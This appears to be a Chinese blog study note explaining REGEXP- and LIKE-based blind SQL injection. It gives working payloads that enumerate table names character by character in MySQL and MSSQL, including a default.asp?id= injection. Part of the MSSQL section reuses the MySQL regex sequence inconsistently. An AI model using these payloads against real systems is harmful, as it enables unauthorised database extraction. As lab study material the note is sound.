注入原理
什么是REGEXP注入?
首先说明一下,我并没发现这种注入是多么独特的一种方式。只是因为看到了,所以记下笔记,难受啊,越学看到的越多
REGEXP注入是一中注入方式,又叫盲注值正则表达式攻击
注入原理
应该场景就是盲注,原理就是直接查询自己需要的数据,然后通过正则表达式进行匹配,实用场景如下
and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="security" AND table_name REGEXP '^[a-z]' LIMIT 0,1)
经过测试,第一个字符是e,payload:
and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="security" AND table_name REGEXP '^e' LIMIT 0,1)
expression like this:
'^e[a-z]' -> '^em[a-z]' -> '^ema[a-z]' -> '^emai[a-z]'-> '^email[a-z]' -> FALSE
实验表明:在limit 0,1下,regexp会匹配所有的项。我们在使用regexp时,要注意有可能有多个项,同时要一个个字符去爆破。类似于上述第一条和第二条。而此时limit 0,1此时是对于where table_schema='security' limit 0,1。table_schema='security'已经起到了限定作用了,limit有没有已经不重要了
MSSQL
MSSQL所用的正则表达式并不是标准正则表达式 ,该表达式使用 like关键词
default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="security" and table_name LIKE '[a-z]%' )
该查询语句中,select top 1 是一个组合哦,不要看错了。
如果要查询其它的表名,由于不能像mysql哪样用limit x,1,只能使用 table_name not in (select top x table_name from information_schema.tables) 意义是:表名没有在前x行里,其实查询的就是第x+1行。
例如 查询第二行的表名:
default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="security" and table_name NOT IN ( SELECT TOP 1 table_name FROM information_schema.tables) and table_name LIKE '[a-z]%' )
表达式的顺序:
'^e[a-z]' -> '^em[a-z]' -> '^ema[a-z]' -> '^emai[a-z]'-> '^email[a-z]' -> TRUE
之所以表达式 news[a-z]查询后返回正确是应为%代表0-n个字符,使用"_"则只能代表一个字符。故确认后续是否还有字符克用如下表达式
'email%' TRUE -> 'email_' FALSE
同理可以用相同的方法获取字段,值。这里就不再详细描述了。